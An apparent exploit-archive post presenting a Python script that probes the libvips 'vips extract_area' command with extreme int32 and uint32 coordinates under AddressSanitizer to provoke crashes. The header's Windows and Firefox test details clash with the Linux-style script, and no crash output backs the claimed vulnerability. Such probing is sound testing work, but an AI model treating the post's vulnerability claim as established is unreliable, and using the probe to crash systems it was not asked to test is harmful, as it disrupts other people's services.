📄 libvips 8.19.0 VIPS Image Extraction Crash / Auditor

=============================================================================================================================================
    | # Title     : libvips 8.19.0 VIPS Image Extraction Crash & Security Audit                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.libvips.org/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    :  This Python script performs a comprehensive security and stability audit of the vips image processing binary. 
                      It tests the extract_area function using extreme int32 and uint32 values as well as normal ranges to detect crashes, memory corruption, or buffer overflows. 
    				  The audit automates setup, executes multiple test scenarios, captures any crashes or sanitizer errors, reports detailed results, and cleans up temporary files.
                      It is designed to ensure robustness and memory safety of VIPS under edge-case inputs.
    
    [+] POC   :  
    
    
    import subprocess
    import os
    import signal
    import time
    
    class VipsFullAudit:
        def __init__(self, binary_path="./vips"):
            self.vips_bin = binary_path
            ts = int(time.time())
            self.in_file = f"audit_in_{ts}.v"
            self.out_file = f"audit_out_{ts}.v"
            self.results = []
    
        def setup(self):
            """Initialize the test environment with a balanced size to avoid RAM exhaustion"""
            print(f"[*] Initializing Audit on: {self.vips_bin}")
    
            if not os.path.exists(self.vips_bin) and not subprocess.run(["which", self.vips_bin], capture_output=True).returncode == 0:
                print("[-] Error: vips binary not found.")
                return False
    
            try:
                subprocess.run([self.vips_bin, "black", self.in_file, "10000", "10000"], 
                               capture_output=True, check=True)
                return True
            except Exception as e:
                print(f"[-] Setup failed (Disk space or Vips error): {e}")
                return False
    
        def probe(self, name, left, width):
            """Execute a test scenario with precise error handling"""
            env = os.environ.copy()
            env["ASAN_OPTIONS"] = "detect_leaks=0:abort_on_error=1:halt_on_error=1"
            
            cmd = [
                self.vips_bin, "--vips-max-coord", "4294967295", 
                "extract_area", self.in_file, self.out_file, 
                str(left), "0", str(width), "10"
            ]
    
            try:
                proc = subprocess.run(cmd, env=env, capture_output=True, text=True, timeout=15)
                ret_code = proc.returncode
                stderr = proc.stderr
            except subprocess.TimeoutExpired:
                ret_code = -999
                stderr = "Execution Timeout - Possible logic hang"
            except Exception as e:
                ret_code = -888
                stderr = str(e)
    
            is_crash = False
            crash_signals = [-signal.SIGSEGV, -signal.SIGABRT, 134, 139, 11]
            crash_keywords = ["addresssanitizer", "segv", "segmentation fault", "buffer-overflow"]
    
            if ret_code in crash_signals or ret_code < 0:
                is_crash = True
            if any(k in stderr.lower() for k in crash_keywords):
                is_crash = True
    
            verdict = " CRASH" if is_crash else "️ SAFE"
            self.results.append({
                "name": name,
                "status": verdict,
                "code": ret_code,
                "msg": stderr[:60].replace('\n', ' ')
            })
    
        def run_suite(self):
            """Covers all int32 and uint32 scenarios + normal values"""
            int32_cases = [
                ("INT32 Max", 2147483647, 100),
                ("INT32 Max-10", 2147483637, 100),
                ("INT32 Min", -2147483648, 100),
                ("INT32 Min+10", -2147483638, 100)
            ]
            uint32_cases = [
                ("UINT32 Max", 4294967295, 100),
                ("UINT32 Max-10", 4294967285, 100),
                ("UINT32 Zero", 0, 100),
                ("UINT32 Small", 50, 100)
            ]
            standard_cases = [
                ("Normal Range", 5000, 100),
                ("Small Area", 0, 10)
            ]
    
            for name, l, w in int32_cases + uint32_cases + standard_cases:
                self.probe(name, l, w)
    
        def cleanup(self):
            """Cleanup temporary files"""
            for f in [self.in_file, self.out_file]:
                if os.path.exists(f):
                    try:
                        os.remove(f)
                    except:
                        pass
    
        def report(self):
            """Detailed report for all scenarios"""
            print("\n" + "="*100)
            print(f"{'Scenario':<30} | {'Verdict':<10} | {'Code':<6} | {'Stderr Snippet'}")
            print("-" * 100)
            for r in self.results:
                print(f"{r['name']:<30} | {r['status']:<10} | {r['code']:<6} | {r['msg']}")
            print("="*100)
    
    if __name__ == "__main__":
        audit = VipsFullAudit()
        try:
            if audit.setup():
                audit.run_suite()
                audit.report()
        finally:
            audit.cleanup()
    		
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================